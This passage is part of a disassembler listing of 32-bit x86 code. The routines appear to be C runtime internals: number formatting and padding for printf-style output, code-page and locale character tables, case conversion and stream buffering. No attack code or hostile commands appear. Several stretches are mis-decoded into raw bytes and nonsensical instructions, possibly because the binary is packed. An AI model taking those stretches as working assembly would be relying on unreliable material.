test byte ptr [ebp+var_4+1], 80h
jz short loc_41FA06
lea eax, [ebp+arg_8]
push eax
call sub_41FCF0
pop ecx
jmp short loc_41FA47
; ---------------------------------------------------------------------------
loc_41FA06: ; CODE XREF: sub_41F504+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FA2D
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FA22
call sub_41FCE3
pop ecx
movsx eax, ax
loc_41FA1F: ; CODE XREF: sub_41F504+527j
; sub_41F504+539j
cdq
jmp short loc_41FA47
; ---------------------------------------------------------------------------
loc_41FA22: ; CODE XREF: sub_41F504+510j
call sub_41FCE3
pop ecx
movzx eax, ax
jmp short loc_41FA1F
; ---------------------------------------------------------------------------
loc_41FA2D: ; CODE XREF: sub_41F504+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FA3F
call sub_41FCE3
pop ecx
jmp short loc_41FA1F
; ---------------------------------------------------------------------------
loc_41FA3F: ; CODE XREF: sub_41F504+531j
call sub_41FCE3
pop ecx
xor edx, edx
loc_41FA47: ; CODE XREF: sub_41F504+500j
; sub_41F504+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FA68
test edx, edx
jg short loc_41FA68
jl short loc_41FA57
test eax, eax
jnb short loc_41FA68
loc_41FA57: ; CODE XREF: sub_41F504+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FA6C
; ---------------------------------------------------------------------------
loc_41FA68: ; CODE XREF: sub_41F504+547j
; sub_41F504+54Bj ...
mov esi, eax
mov edi, edx
loc_41FA6C: ; CODE XREF: sub_41F504+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FA75
and edi, 0
loc_41FA75: ; CODE XREF: sub_41F504+56Cj
cmp [ebp+var_10], 0
jge short loc_41FA84
mov [ebp+var_10], 1
jmp short loc_41FA88
; ---------------------------------------------------------------------------
loc_41FA84: ; CODE XREF: sub_41F504+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FA88: ; CODE XREF: sub_41F504+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FA92
and [ebp+var_1C], 0
loc_41FA92: ; CODE XREF: sub_41F504+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FA98: ; CODE XREF: sub_41F504+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41FAA8
mov eax, esi
or eax, edi
jz short loc_41FAE3
loc_41FAA8: ; CODE XREF: sub_41F504+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DB50
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DAE0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FAD9
add ebx, [ebp+var_2C]
loc_41FAD9: ; CODE XREF: sub_41F504+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FA98
; ---------------------------------------------------------------------------
loc_41FAE3: ; CODE XREF: sub_41F504+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FB0E
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FB01
test eax, eax
jnz short loc_41FB0E
loc_41FB01: ; CODE XREF: sub_41F504+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FB0B: ; CODE XREF: sub_41F504+35Fj
; sub_41F504+406j ...
mov [ebp+var_C], eax
loc_41FB0E: ; CODE XREF: sub_41F504+21Bj
; sub_41F504+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FC0C ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FB46
test bh, 1
jz short loc_41FB2B
mov [ebp+var_16], 2Dh
jmp short loc_41FB3F
; ---------------------------------------------------------------------------
loc_41FB2B: ; CODE XREF: sub_41F504+61Fj
test bl, 1
jz short loc_41FB36
mov [ebp+var_16], 2Bh
jmp short loc_41FB3F
; ---------------------------------------------------------------------------
loc_41FB36: ; CODE XREF: sub_41F504+62Aj
test bl, 2
jz short loc_41FB46
mov [ebp+var_16], 20h
loc_41FB3F: ; CODE XREF: sub_41F504+625j
; sub_41F504+630j
mov [ebp+var_1C], 1
loc_41FB46: ; CODE XREF: sub_41F504+61Aj
; sub_41F504+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FB66
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FC7A
add esp, 10h
loc_41FB66: ; CODE XREF: sub_41F504+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41FCAB
add esp, 10h
test bl, 8
jz short loc_41FB98
test bl, 4
jnz short loc_41FB98
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41FC7A
add esp, 10h
loc_41FB98: ; CODE XREF: sub_41F504+67Bj
; sub_41F504+680j
cmp [ebp+var_24], 0
jz short loc_41FBDF
cmp [ebp+var_C], 0
jle short loc_41FBDF
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FBAD: ; CODE XREF: sub_41F504+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_423CBE
pop ecx
test eax, eax
pop ecx
jle short loc_41FBF4
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41FCAB
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FBAD
jmp short loc_41FBF4
; ---------------------------------------------------------------------------
loc_41FBDF: ; CODE XREF: sub_41F504+698j
; sub_41F504+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41FCAB
add esp, 10h
loc_41FBF4: ; CODE XREF: sub_41F504+6BCj
; sub_41F504+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FC0C ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FC7A
add esp, 10h
loc_41FC0C: ; CODE XREF: sub_41F504+68j
; sub_41F504+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F530
loc_41FC1D: ; CODE XREF: sub_41F504+1Fj
; sub_41F504+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F504 endp
; ---------------------------------------------------------------------------
off_41FC25 dd offset loc_41F6A3 ; DATA XREF: sub_41F504+6Er
dd offset loc_41F579 ; jump table for switch statement
dd offset loc_41F594
dd offset loc_41F5E0
dd offset loc_41F617
dd offset loc_41F61F
dd offset loc_41F654
dd offset loc_41F6E7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FC45 proc near ; CODE XREF: sub_41F504+1BDp
; sub_41F504+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41FC5E
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41FC69
; ---------------------------------------------------------------------------
loc_41FC5E: ; CODE XREF: sub_41FC45+9j
push ecx
push [ebp+arg_0]
call sub_41F3EF
pop ecx
pop ecx
loc_41FC69: ; CODE XREF: sub_41FC45+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41FC76
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FC76: ; CODE XREF: sub_41FC45+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41FC45 endp
; =============== S U B R O U T I N E =======================================
sub_41FC7A proc near ; CODE XREF: sub_41F504+65Ap
; sub_41F504+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41FCA8
mov esi, [esp+8+arg_C]
loc_41FC8B: ; CODE XREF: sub_41FC7A+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41FC45
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41FCA8
mov eax, edi
dec edi
test eax, eax
jg short loc_41FC8B
loc_41FCA8: ; CODE XREF: sub_41FC7A+Bj
; sub_41FC7A+25j
pop edi
pop esi
retn
sub_41FC7A endp
; =============== S U B R O U T I N E =======================================
sub_41FCAB proc near ; CODE XREF: sub_41F504+670p
; sub_41F504+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41FCDF
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41FCC1: ; CODE XREF: sub_41FCAB+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41FC45
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41FCDF
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41FCC1
loc_41FCDF: ; CODE XREF: sub_41FCAB+Cj
; sub_41FCAB+2Bj
pop edi
loc_41FCE0: ; CODE XREF: .nsp0:0041FD5Bj
pop esi
pop ebx
retn
sub_41FCAB endp
; =============== S U B R O U T I N E =======================================
sub_41FCE3 proc near ; CODE XREF: sub_41F504+E5p
; sub_41F504+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41FCE3 endp
; =============== S U B R O U T I N E =======================================
sub_41FCF0 proc near ; CODE XREF: sub_41F504+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41FCF0 endp
; =============== S U B R O U T I N E =======================================
sub_41FD00 proc near ; CODE XREF: sub_41F504+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41FD00 endp
; ---------------------------------------------------------------------------
loc_41FD0E: ; CODE XREF: sub_4200D2+Bp
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call sub_41FEA7
mov esi, eax
pop ecx
cmp esi, dword_4E2944
mov [ebp+8], esi
jz loc_41FE9B
xor ebx, ebx
cmp esi, ebx
jz loc_41FE91
xor edx, edx
mov eax, offset dword_442788
loc_41FD42: ; CODE XREF: .nsp0:0041FD4Fj
cmp [eax], esi
jz short loc_41FDB8
add eax, 30h
inc edx
cmp eax, offset dword_442878
jl short loc_41FD42
lea eax, [ebp-18h]
push eax
push esi
call near ptr 0B40000h
jz short loc_41FCE0
clc
add [edi], ecx
test [ecx+eax], esp
; ---------------------------------------------------------------------------
db 0
dd 33406A00h, 60BF59C0h, 83004E2Ah, 8901E87Dh, 4E294435h
dd 0AAABF300h, 2B641D89h, 860F004Eh, 0EFh, 0EE7D80h, 0BB840Fh
dd 4D8D0000h, 84118AEFh, 0AE840FD2h, 0F000000h, 0FFF41B6h
dd 0C23BD2B6h, 93870Fh, 88800000h, 4E2A61h, 0EEEB4004h
; ---------------------------------------------------------------------------
loc_41FDB8: ; CODE XREF: .nsp0:0041FD44j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4E2A60
rep stosd
lea esi, [edx+edx*2]
mov [ebp-4], ebx
shl esi, 4
stosb
lea ebx, dword_442798[esi]
loc_41FDD4: ; CODE XREF: .nsp0:0041FE11j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41FE07
loc_41FDDB: ; CODE XREF: .nsp0:0041FE05j
mov dl, [ecx+1]
test dl, dl
jz short loc_41FE07
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41FE00
mov edx, [ebp-4]
mov dl, byte_442780[edx]
loc_41FDF5: ; CODE XREF: .nsp0:0041FDFEj
or byte_4E2A61[eax], dl
inc eax
cmp eax, edi
jbe short loc_41FDF5
loc_41FE00: ; CODE XREF: .nsp0:0041FDEAj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41FDDB
loc_41FE07: ; CODE XREF: .nsp0:0041FDD9j
; .nsp0:0041FDE0j
inc dword ptr [ebp-4]
add ebx, 8
cmp dword ptr [ebp-4], 4
jb short loc_41FDD4
mov eax, [ebp+8]
mov dword_4E295C, 1
push eax
mov dword_4E2944, eax
call sub_41FEF1
lea esi, dword_44278C[esi]
mov edi, offset dword_4E2950
movsd
movsd
pop ecx
mov dword_4E2B64, eax
movsd
jmp short loc_41FE96
; ---------------------------------------------------------------------------
db 2 dup(41h), 80h
dd 0F00FF79h
db 85h, 48h, 0FFh
db 0FFh ; CODE XREF: sub_41FEA7+1Fj
; ---------------------------------------------------------------------------
jmp fword ptr [edx+1]
; ---------------------------------------------------------------------------
pop eax
loc_41FE50: ; CODE XREF: .nsp0:0041FE5Dj
or byte_4E2A61[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41FE50
push esi
call sub_41FEF1
pop ecx
mov dword_4E2B64, eax
mov dword_4E295C, 1
jmp short loc_41FE7D
; ---------------------------------------------------------------------------
mov dword_4E295C, ebx
loc_41FE7D: ; CODE XREF: .nsp0:0041FE75j
xor eax, eax
mov edi, offset dword_4E2950
stosd
stosd
stosd
jmp short loc_41FE96
; ---------------------------------------------------------------------------
cmp dword_4E157C, ebx
jz short loc_41FE9F
loc_41FE91: ; CODE XREF: .nsp0:0041FD35j
call sub_41FF24
loc_41FE96: ; CODE XREF: .nsp0:0041FE3Fj
; .nsp0:0041FE87j
call loc_41FF4D
loc_41FE9B: ; CODE XREF: .nsp0:0041FD2Bj
xor eax, eax
jmp short loc_41FEA2
; ---------------------------------------------------------------------------
loc_41FE9F: ; CODE XREF: .nsp0:0041FE8Fj
or eax, 0FFFFFFFFh
loc_41FEA2: ; CODE XREF: .nsp0:0041FE9Dj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41FEA7 proc near ; CODE XREF: .nsp0:0041FD1Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4E157C, 0
cmp eax, 0FFFFFFFEh
jnz short near ptr loc_41FEC6+1
mov dword_4E157C, 1
call near ptr 0B40000h
loc_41FEC6: ; CODE XREF: sub_41FEA7+Ej
loop near ptr byte_41FE4B
clc
std
jnz short loc_41FEDC
mov dword_4E157C, 1
call near ptr 0B40000h
cli
loc_41FEDC: ; CODE XREF: sub_41FEA7+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41FEF0
mov eax, dword_4E15C0
mov dword_4E157C, 1
locret_41FEF0: ; CODE XREF: sub_41FEA7+38j
retn
sub_41FEA7 endp
; =============== S U B R O U T I N E =======================================
sub_41FEF1 proc near ; CODE XREF: .nsp0:0041FE26p
; .nsp0:0041FE60p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41FF1E
sub eax, 4
jz short loc_41FF18
sub eax, 0Dh
jz short loc_41FF12
dec eax
jz short loc_41FF0C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41FF0C: ; CODE XREF: sub_41FEF1+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41FF12: ; CODE XREF: sub_41FEF1+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41FF18: ; CODE XREF: sub_41FEF1+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41FF1E: ; CODE XREF: sub_41FEF1+9j
mov eax, 411h
retn
sub_41FEF1 endp
; =============== S U B R O U T I N E =======================================
sub_41FF24 proc near ; CODE XREF: .nsp0:loc_41FE91p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4E2A60
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4E2950
mov dword_4E2944, eax
mov dword_4E295C, eax
mov dword_4E2B64, eax
stosd
stosd
stosd
pop edi
retn
sub_41FF24 endp
; ---------------------------------------------------------------------------
loc_41FF4D: ; CODE XREF: .nsp0:loc_41FE96p
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp-14h]
push esi
push eax
push dword_4E2944
call near ptr 0B40000h
add [ebx-7AF0FE08h], al
push ss
add [eax], eax
add [ebx], dh
sar byte ptr [esi+100h], 88h ; CODE XREF: .nsp0:0041FF81j
test ds:0FFFFFEECh, al
inc eax
cmp eax, esi
jb short near ptr loc_41FF71+6
mov al, [ebp-0Eh]
mov byte ptr [ebp-114h], 20h
test al, al
jz short loc_41FFC8
push ebx
push edi
lea edx, [ebp-0Dh]
loc_41FF96: ; CODE XREF: .nsp0:0041FFC4j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41FFBD
sub ecx, eax
lea edi, [ebp+eax-114h]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41FFBD: ; CODE XREF: .nsp0:0041FF9Ej
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41FF96
pop edi
pop ebx
loc_41FFC8: ; CODE XREF: .nsp0:0041FF8Fj
push 0
lea eax, [ebp-514h]
push dword_4E2B64
push dword_4E2944
push eax
lea eax, [ebp-114h]
push esi
push eax
push 1
call loc_423B4F
push 0
lea eax, [ebp-214h]
push dword_4E2944
push esi
push eax
lea eax, [ebp-114h]
push esi
push eax
push esi
push dword_4E2B64
call loc_4229BB
push 0
lea eax, [ebp-314h]
push dword_4E2944
push esi
push eax
lea eax, [ebp-114h]
push esi
push eax
push 200h
push dword_4E2B64
call loc_4229BB
add esp, 5Ch
xor eax, eax
lea ecx, [ebp-514h]
loc_420043: ; CODE XREF: .nsp0:00420082j
mov dx, [ecx]
test dl, 1
jz short loc_420061
or byte_4E2A61[eax], 10h
mov dl, [ebp+eax-214h]
loc_420059: ; CODE XREF: .nsp0:00420074j
mov byte_4E2960[eax], dl
jmp short loc_42007D
; ---------------------------------------------------------------------------
loc_420061: ; CODE XREF: .nsp0:00420049j
test dl, 2
jz short loc_420076
or byte_4E2A61[eax], 20h
mov dl, [ebp+eax-314h]
jmp short loc_420059
; ---------------------------------------------------------------------------
loc_420076: ; CODE XREF: .nsp0:00420064j
and byte_4E2960[eax], 0
loc_42007D: ; CODE XREF: .nsp0:0042005Fj
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_420043
jmp short loc_4200CF
; ---------------------------------------------------------------------------
xor eax, eax
mov esi, 100h
loc_42008D: ; CODE XREF: .nsp0:004200CDj
cmp eax, 41h
jb short loc_4200AB
cmp eax, 5Ah
ja short loc_4200AB
or byte_4E2A61[eax], 10h
mov cl, al
add cl, 20h
loc_4200A3: ; CODE XREF: .nsp0:004200C1j
mov byte_4E2960[eax], cl
jmp short loc_4200CA
; ---------------------------------------------------------------------------
loc_4200AB: ; CODE XREF: .nsp0:00420090j
; .nsp0:00420095j
cmp eax, 61h
jb short loc_4200C3
cmp eax, 7Ah
ja short loc_4200C3
or byte_4E2A61[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_4200A3
; ---------------------------------------------------------------------------
loc_4200C3: ; CODE XREF: .nsp0:004200AEj
; .nsp0:004200B3j
and byte_4E2960[eax], 0
loc_4200CA: ; CODE XREF: .nsp0:004200A9j
inc eax
cmp eax, esi
jb short loc_42008D
loc_4200CF: ; CODE XREF: .nsp0:00420084j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4200D2 proc near ; CODE XREF: .nsp0:00422D97p
; sub_422DE6+Dp ...
cmp dword_4E2B8C, 0
jnz short locret_4200ED
push 0FFFFFFFDh
call loc_41FD0E
pop ecx
mov dword_4E2B8C, 1
locret_4200ED: ; CODE XREF: sub_4200D2+7j
retn
sub_4200D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200EE proc near ; CODE XREF: sub_41C081+2Bp
; sub_41C081+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4E295C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_420112
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BCA0
add esp, 0Ch
jmp short loc_420175
; ---------------------------------------------------------------------------
loc_420112: ; CODE XREF: sub_4200EE+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420157
mov ecx, [ebp+arg_4]
loc_42011D: ; CODE XREF: sub_4200EE+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4E2A61[esi], 4
mov [edi], al
jz short loc_420141
inc edi
inc ecx
test edx, edx
jz short loc_42014D
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420153
jmp short loc_420147
; ---------------------------------------------------------------------------
loc_420141: ; CODE XREF: sub_4200EE+3Ej
inc edi
inc ecx
test al, al
jz short loc_420157
loc_420147: ; CODE XREF: sub_4200EE+51j
test edx, edx
jnz short loc_42011D
jmp short loc_420157
; ---------------------------------------------------------------------------
loc_42014D: ; CODE XREF: sub_4200EE+44j
and byte ptr [edi-1], 0
jmp short loc_420157
; ---------------------------------------------------------------------------
loc_420153: ; CODE XREF: sub_4200EE+4Fj
and byte ptr [edi-2], 0
loc_420157: ; CODE XREF: sub_4200EE+2Aj
; sub_4200EE+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420172
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420172: ; CODE XREF: sub_4200EE+6Fj
mov eax, [ebp+arg_0]
loc_420175: ; CODE XREF: sub_4200EE+22j
pop edi
pop ebp
retn
sub_4200EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420178 proc near ; CODE XREF: sub_41C256+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4E15B0, 0
push ebx
jnz short loc_4201A3
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420241
cmp eax, 7Ah
jg loc_420241
sub eax, 20h
jmp loc_420241
; ---------------------------------------------------------------------------
loc_4201A3: ; CODE XREF: sub_420178+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_4201D6
cmp dword_44276C, 1
jle short loc_4201C3
push 2
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_4201CE
; ---------------------------------------------------------------------------
loc_4201C3: ; CODE XREF: sub_420178+3Dj
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, 2
loc_4201CE: ; CODE XREF: sub_420178+49j
test eax, eax
jnz short loc_4201D6
loc_4201D2: ; CODE XREF: sub_420178+AFj
mov eax, ebx
jmp short loc_420241
; ---------------------------------------------------------------------------
loc_4201D6: ; CODE XREF: sub_420178+34j
; sub_420178+58j
mov edx, off_442560
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4201F9
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420202
; ---------------------------------------------------------------------------
loc_4201F9: ; CODE XREF: sub_420178+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420202: ; CODE XREF: sub_420178+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4E15B0
call loc_4229BB
add esp, 20h
test eax, eax
jz short loc_4201D2
cmp eax, 1
jnz short loc_420234
movzx eax, [ebp+var_4]
jmp short loc_420241
; ---------------------------------------------------------------------------
loc_420234: ; CODE XREF: sub_420178+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420241: ; CODE XREF: sub_420178+14j
; sub_420178+1Dj ...
pop ebx
leave
retn
sub_420178 endp
; =============== S U B R O U T I N E =======================================
sub_420244 proc near ; CODE XREF: sub_41C475+1Dp
; sub_41DA8E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4E14FC, ecx
mov eax, offset dword_442878
loc_420255: ; CODE XREF: sub_420244+1Ej
cmp ecx, [eax]
jz short loc_420279
add eax, 8
inc edx
cmp eax, offset dword_4429E0
jl short loc_420255
cmp ecx, 13h
jb short loc_420286
cmp ecx, 24h
ja short loc_420286
mov dword_4E14F8, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420279: ; CODE XREF: sub_420244+13j
mov eax, dword_44287C[edx*8]
mov dword_4E14F8, eax
retn
; ---------------------------------------------------------------------------
loc_420286: ; CODE XREF: sub_420244+23j
; sub_420244+28j
cmp ecx, 0BCh
jb short loc_4202A0
cmp ecx, 0CAh
mov dword_4E14F8, 8
jbe short locret_4202AA
loc_4202A0: ; CODE XREF: sub_420244+48j
mov dword_4E14F8, 16h
locret_4202AA: ; CODE XREF: sub_420244+5Aj
retn
sub_420244 endp
; =============== S U B R O U T I N E =======================================
sub_4202AB proc near ; CODE XREF: sub_41C49F+8p
; sub_41D88C+9p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_423C98
test eax, eax
pop ecx
jz short loc_420334
cmp esi, offset dword_442B58
jnz short loc_4202C9
xor eax, eax
jmp short loc_4202D4
; ---------------------------------------------------------------------------
loc_4202C9: ; CODE XREF: sub_4202AB+18j
cmp esi, offset dword_442B78
jnz short loc_420334
push 1
pop eax
loc_4202D4: ; CODE XREF: sub_4202AB+1Cj
inc dword_4E15C8
test word ptr [esi+0Ch], 10Ch
jnz short loc_420334
cmp dword_4E1580[eax*4], 0
push ebx
push edi
lea edi, ds:4E1580h[eax*4]
mov ebx, 1000h
jnz short loc_42031A
push ebx
call sub_41BBCB
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_42031A
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420327
; ---------------------------------------------------------------------------
loc_42031A: ; CODE XREF: sub_4202AB+4Dj
; sub_4202AB+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420327: ; CODE XREF: sub_4202AB+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420334: ; CODE XREF: sub_4202AB+10j
; sub_4202AB+24j ...
xor eax, eax
pop esi
retn
sub_4202AB endp
; =============== S U B R O U T I N E =======================================
sub_420338 proc near ; CODE XREF: sub_41C49F+24p
; sub_41D88C+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420362
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420373
push esi
call sub_41E25B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420362: ; CODE XREF: sub_420338+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420373
push eax
call sub_41E25B
pop ecx
loc_420373: ; CODE XREF: sub_420338+10j
; sub_420338+32j
pop esi
retn
sub_420338 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420375 proc near ; CODE XREF: sub_41CCE5+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
